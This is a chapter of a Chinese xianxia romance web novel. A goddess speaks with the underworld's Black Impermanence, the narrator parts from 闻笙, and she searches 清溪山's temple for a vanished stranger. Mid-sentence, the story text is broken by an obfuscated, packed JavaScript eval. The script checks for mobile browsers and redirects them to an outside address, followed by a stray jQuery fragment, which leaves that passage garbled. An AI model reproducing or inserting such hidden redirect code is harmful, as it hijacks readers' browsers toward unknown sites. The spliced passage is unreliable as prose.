25. 一重烟水

作品:《仙君总想把我推给情敌

    在医鹿山醒来前,我似乎昏睡了很久,漫长到像是去了一趟黄泉,轮回重返人间。


    地府没有白昼与黑夜之分。


    忘川河畔,黑无常手持锁魂链,冷峻的面容在月光下更显苍白。他步履无声,与黑暗融为一体。今日,他奉命前来拘拿一名逃逸的游魂,却在河畔的彼岸花丛中,瞥见一抹不适宜的蓝白。


    她斜倚在花丛间,手中把玩着一朵盛开的彼岸花,唇角含笑,眸光流转间尽是风情。黑无常眉头微蹙,冷声道:“南风仙子,此处乃地府禁地,不是你该来的地方。”


    南风仙子闻言,轻笑一声:“地府,人死堕入轮回的地方。神仙也不例外。”她站起身,步履轻盈地朝他走来,纱衣随风轻扬,露出一截白皙的脚踝。


    “你再看看我,是不是该来这里?”


    黑无常目光微冷,冷峻的脸上显出沉重。


    “发生了什么?”


    南风仙子却不以为意,背过身去,欲在彼岸花间起舞,羽带在旋转之际拂过黑无常的眼前,被他两指精准捻住。


    “我在问你话。”


    仙子沉眸。


    “我不能告诉你。”


    说罢,她伸手欲抚上他的胸膛,却被他一把握住手腕。


    黑无常质问:“你死了?”


    南风仙子却笑得愈发妩媚,手腕轻轻一转,挣脱了他的钳制。


    她退后一步,眸光潋滟:“若有朝一日,你动了凡心,就能明白,我为何在此。”


    她顿了顿,意味深长地歪头看着他,“还是说,你曾为谁动过心?”


    黑无常沉默不语,黑色的眸子愈发幽深。南风仙子见状,轻笑一声,转身离去。


    “时日已到,我该回去了。”


    “去哪儿?”


    “医鹿山吧。”她稍稍偏过头,“砚清似乎是把我带去了那里。”


    “所以,你到底怎么了?”


    黑无常还是穷追不舍,想问出眼下的情况,南风仙子蹲下身,摘下一朵彼岸花。


    “凡尘间的花,我最喜欢医鹿山的梅花。自我种下后每年都开得繁盛。因为是白色的,不像血……明明热烈,却渗人。”


    指尖松开,花落尘土。


    “我还喜欢竹村窗外的那片竹林,可惜找不出发簪上相似的三片叶子……若有机会,你不妨去看看信州的千灯节,满天星河,无论天上的神仙还是地上的凡人,都会喜欢……”


    黑无常不解,“仙子告诉我这些做什么?”


    婆娑的眼撞进他幽深的眸子。


    “因为,我希望有人替我记得。”


    她的身影渐行渐远,最终消失在彼岸花丛中。


    黑无常站在原地,手中的锁魂链微微颤动。


    他低头看了一眼那朵被她遗落的彼岸花,花瓣上还残留着她指尖的温度。


    【又见东风】


    听闻信州城外数里的清溪山,福天洞地,紫烟升起便有神仙循烟而来。


    虽然不清楚是不是我要找的神,但我决定去碰碰运气。


    光州到信州的路程一路策马也要半月时间。


    离开竹村的早上,闻笙意外地冷静。


    相比起前一日的撕心裂肺,他像是一夜间看淡了离别,淡漠了情感。


    他一如往常准备早膳,动作娴熟自然,仿佛今日是个再寻常不过的日子。


    我本考虑了诸多话,想再开导开导他,眼下看来,这些话派不上用场了。


    只是看着他憔悴的脸,心头一酸,在驿站临别前忍不住给了他一个悠长的拥抱。


    “此一别,我们还会再见吗?”他笑问。


    我摇了摇头,“还是不了吧。”


    说得绝情,但我没有办法。


    重生前做过的事,许下的承诺,我都忘得一干二净。


    且当我是个没心没肺的人吧,欠你的,注定无法偿还。


    “济民区的那些人,放他们回醉月楼吧。那个地方守着茅房,挺臭的。”


    闻笙替我拿着行李,同我坐在驿站旁的面馆填饱肚子。听到我的话时,他有一瞬的怔愣,转眼笑着点了点头。


    “也只是你在时安排的戏子,你转身离开,他们也走了。”


    “那还行。不愧是戏子,身上的伤画得也太逼真了。幸好是我学艺不精看不出来,不然,你的伎俩早被我识破了。”


    我吞下一口面,抬头问闻笙:“陈烈,是哪家孩子?”


    “陈烈?”


    闻笙反问的语气好像真不知道我在说谁。行吧,连名字都是骗我的。那孩子跟我说的话,到底哪句是真的?


    “如果你问的是那日在巷口碰见的,他是我侄子,闻烈。从小就花招多,思维也比别家孩子跳脱,管不住。平日在外人面前叫我叔叔,私下总是叫我大人。”


    “所以他跟我说璃坊,其实是给我提供线索咯?”我挑眉问道。


    闻笙捏着下巴思索片刻:“他跟你说的璃坊?恐怕,不是在提供线索。”


    我叼着面盯着闻笙呆住,心中一阵无语。


    闻笙笑着替我倒了杯茶,解释道:“我交代他的是可以跟你坦白幕后之人是我。那孩子从小粘我,偏袒我,跟你说璃坊估计是想不出别的法子,所以想把罪名扣到兄长的头上吧。”


    那还真是个他爹的好大儿。


    我又好气又好笑,擦着嘴角的汤汁,喝下茶汤:“闻烈……前途无量啊。不用猜也晓得是跟某人学的。”我冲他打趣,闻笙也不以为然。


    片刻后,闻笙双手交叉放在桌上,心虚地动了动手指,然后伸进兜里摸出一样东西递给我。


    我惊愕地接过手里,不敢置信地看了看手里的神器,青竹发簪,又看向对面不敢直视我的闻笙。


    “你是什么时候……”


    我话未说完,闻笙已站起身,望向驿站那边准备启程的马车。


    他自然地拿起我的行李,牵起我的手,朝马车走去。


    直到站定车前,他才转身面向我,神情复杂地望着我说道:“我其实对你隐瞒的事,比你知道的还要多。时间有限,没办法一一告诉你了。”


    “现在才说,当然来不及了!”


    我温柔地呵斥,他盯着我的眼睛,笑意浮现。


    他又得逞了。


    但这次,我不会留下来质问他。


    他也明白的。


    闻笙牵着我的手,轻轻揉了揉我的手背,意味深长的眸子落在我的手背良久。


    “我可以再回答你一个问题,知无不言。但你得答应我,以后,我们还会再见。”


    我们还会再见吗……也许真的会吧。


    思绪一下涌现出太多疑问,根本不知从何问起。我愣在原地犹豫了好一会儿,随后摇了摇头:“不问了。”


    我抓过闻笙手中我的行李,踮起脚尖,环上他的脖颈抱住他:“我明白你所做的一切都是为了我,所以我不问。不过,看在你如此坦率的份上,我答应你。”


    错在我先,我不想再伤害你。最后,再送你一个无法兑现的承诺吧。


    谁叫你之前骗我来着。


    闻笙沉默着回拥住我,低沉沙哑的吐息落在耳畔。


    “是有人告诉我你下山的日子,让我从鹿镇跟着你。”


    我没想到闻笙会说得如此直接,这件事他不提我都快忘了。


    “那个人,可以告诉我是谁吗?”


    闻笙浅笑着摇头:“我不记得了。是在梦里发生的,时间过去太久,我有些忘了。”


    驿站的车夫招呼着即将出发,闻笙拍了拍我的后背,我不舍地松开他。


    “上车吧。”他轻声说道。


    “嗯。”


    踏上马车,我又回头看了他一眼。他的身影在晨光中显得格外孤寂,眼中似有千言万语,却终究化作一声叹息。


    马车缓缓启动,闻笙的身影渐渐远去,最终消失在视线中。


    我们都清楚,这一别,或许就是永别。


    我抬手取下发间的白梅步摇,换上闻笙“新赠”我的青竹发簪。我果然还是喜欢这支发簪。


    不过错过了闻笙悄咪咪在竹叶背后刻下的字。


    一路不算颠簸,为了尽快赶达目的地,途径驿站除了稍作休整没有浪费多余的时间。


    信州府,清溪山,当地有名的神山。


    传说医仙葛榆在此飞升,虽然医鹿山的医仙殿供奉其神位,但清溪山是他最终选择的地方。


    山间清溪潺潺,灵气充盈,葛榆曾在此采药炼丹,悟道修行。人间两大神山,一为人间供奉,一为仙踪永驻。


    我不明白的是,医仙飞升之地不在医鹿山偏偏来了清溪山?


    或许正是这片山水间的宁静与灵性,让他最终在此羽化登仙,留下无尽传说。


    又或许,还藏着别的原因。


    活得太久本身就是件麻烦事,神仙的事就是麻烦。


    柳砚清活了三百多年,没给自己找不少麻烦。


    再例如我。


    我站在山脚下,清溪山巍峨入云,青石台阶蜿蜒而上,直通天际。


    清晨的山雾厚重,将山体笼罩得严严实实,只隐约露出几处轮廓。


    空气中弥漫着草木的清香,混合着淡淡的檀香,沁人心脾。


    该说我赶巧了还是清溪山香火旺盛,这天同我一道上山的人格外多。


    山道上香客络绎不绝,脚步声与低语声交织,回荡在山间。


    我可是牺牲了懒觉特地早起的!大家都不喜欢睡觉吗!


    “清溪山拜过的神仙都会显灵!”


    上山途中我不知听到身旁多少人说了这句话。


    “我上次来许了个愿,没过多久就应验了,真是神了!”


    “下山以后我娘子就怀上了!”


    “我说生女儿还真生了个女儿!神仙保佑啊!”


    “我家院子直接挖出一箱白银。”


    ……有这么神吗?神不是都凶巴巴的,从不听人话的嘛。至少我认识的神是这样的。


    人流在进入山门口开始四散,寻找各自的神。我决定挨着找,不放过任何一座神像。


    在层层叠叠的绿意中,一片气势恢宏的建筑群赫然出现在眼前。


    朱红色的围墙绵延不绝,金色的琉璃瓦在阳光下熠熠生辉。正中央是一座巍峨的主殿,飞檐翘角,雕梁画栋,檐角悬挂的铜铃在风中发出清脆的响声。


    向来安静的神像前,跪着祭拜的人,只听见来来往往的脚步声。


    我走过一尊尊神像前,寻找我要的神。


    掌管天地书籍典藏的神云枕书,不是。掌管天工制造的神北雷,不是。掌管梦境的神东婝,不是。掌管墨的神俞墨,不是。掌管世间花花


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16056738|179140||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    草草的神疏花,不是。


    这都供的什么神啊……尽是没听过名号的神。


    ……突然想起,我似乎并不知道神像的名字……藏在医鹿山后山的神像,莫非是医仙葛榆?可大殿供奉的就是葛榆,没必要在后山藏一樽啊。


    正当我纳闷,环顾四周,余光突然瞥向暗处。


    雄伟的殿内,一位男子背对着众人,望着敞开的窗台上不知是哪个贪玩的孩子放在那里的一朵小黄花,不知道在想些什么。深棕色的长发被红色的发带束在头顶,发尾随着穿堂的清风微微拂动。


    他站在无人在意的角落,像是隐匿在黑暗中的孤魂。


    没人注意他,只有我。


    我一眼认出了他,是光州那晚醉月楼前,桥上莫名消失的人。


    心想,有缘自会相逢吗。


    我站在大殿神像笼罩下的阴影里,喉咙发紧,仿佛有什么字眼要冲破而出,却又被无形的力量堵在那里。


    他转过身来了。


    那双眼睛……


    我从未见过如此空洞的眼神,像是被抽走了所有光芒的黑洞,又像是深不见底的寒潭。


    人潮在我们之间川流不息,香客们的脚步声、低语声交织成一片嘈杂,可我的眼里只剩他。


    我们的目光穿过人群,安静地、固执地纠缠在一起。


    心脏突然传来一阵刺痛,眼眶不受控制地发热。


    我想冲上去抱住他,这个念头来得如此强烈,以至于我的双脚已经微微前倾。


    可是为什么?他是谁?为什么看到他,我就有种想哭的冲动?


    “七……”


    嘴唇止不住的发抖,我到底想喊出什么字。


    目光在他身上游移,试图寻找答案。


    他穿着一袭褐色长衫,衣料上隐约可见暗纹,在阳光下泛着淡淡的光泽。腰间系着一条青色丝绦,垂着一枚玉佩。当他垂下眼睑的瞬间,我的视线被那枚玉佩吸引。


    那是一块上等的羊脂白玉,温润通透。


    我眯起眼睛,努力辨认上面的图案:仙鹤展翅,神龟昂首,脚下踩着黑白分明的棋子,周身环绕着蜿蜒的水纹。


    “仙鹤、棋子、水源……”我无意识地喃喃出声。


    那一瞬间,我清楚地看到他的手指微微颤抖。他的目光如电般扫过我,又迅速移开。


    他转身的动作快得几乎带起一阵风,褐色的衣袂翻飞,转眼间就消失在殿外的阳光下。


    “等等!”


    我立刻拨开人群追了出去。


    青石板路上,他的背影若隐若现。我提着裙摆,顾不得形象,拼命追赶。


    可是他的步伐太快了,明明看起来走得不急不缓,却始终与我保持着距离。


    后山的山门渐渐近了,我的呼吸越来越急促,心肺火辣辣地疼。


    没注意到脚下的台阶,一个踉跄,整个人朝前扑过去。


    掌心被粗糙的石面磨得生疼。好在膝盖隔了两层布磨损得不算严重,但骨头还是撞击到冷硬的地面痛得人跌坐在地上,半天缓不神来。


    “你跑那么快做什么……”我喘着气,欲哭无泪,“我就想问你几句话……”


    山风拂过,松涛阵阵。环顾四周,空无一人,只有身旁的清浅池塘里立了一只仙鹤,正捕捉水池里的小鱼。


    确实察觉不到有旁人的存在,但总觉得有一道目光在暗处注视着我。


    “我失忆了,我想找回自己的名字。你一定认识我对不对?可不可以出来,让我看看你……”


    回答我的只有风声。


    “你为什么不许我靠近,告诉我呀……我摔伤了你也不管……”


    我无力地伏在地上,弓起腰,脸埋进大腿间。指尖摩擦地面,生疼也抵不过身体窒息的痛感。


    “你到底是谁啊……”


    我忽然好想柳砚清,如果他在的话,一定会立马板着脸走过来将我从地上拉起来,温柔地喝道:不许再哭了。可即便我还在哭,他也只是叹口气,口不对心地安慰我。


    忽然,仙鹤鸣叫出高亢洪亮穿透力极强的声音,飞向天际,藏进了不远处的松树林。


    这声音同医鹿山听见过的仙鹤叫声相似,恍惚之间,我好像回到了医鹿山,还在过远离凡尘的清闲日子。


    太不争气了,我忍不住骂自己,吃不得苦还要自讨苦吃,没人会可怜我。


    不知过了多久,有脚步声由远及近。


    是山中巡值的弟子,他们看到我狼狈的样子,连忙上前搀扶。


    我任由他们扶起,目光却仍不死心地扫视着四周的树影。


    他终究没有出现。


    清溪弟子扶起我时,突然开口道:“清溪山何时来的仙鹤,太神奇了。”


    我以为自己听错了什么,露出一脸疑惑。清溪山也是神山,有仙鹤不该是正常现象吗。


    弟子看出了我的疑惑,解释道:“清溪山虽为仙山,但每日都有凡人上山祭拜。仙鹤毕竟是仙界的神鸟,被凡人看见多有不适。不过姑娘倒是幸运,居然和神鸟碰面了。看来,今天有好事发生哦。”


    医鹿山需得到神鹿指引才能登山,所以有仙鹤不足为奇。这里是清溪山,弟子说得话如果是真的,那刚才的仙鹤是……我忽然想起仙鹤发出的熟悉的声音。


    “莫非……刚才的仙鹤是……医鹿山的仙鹤?”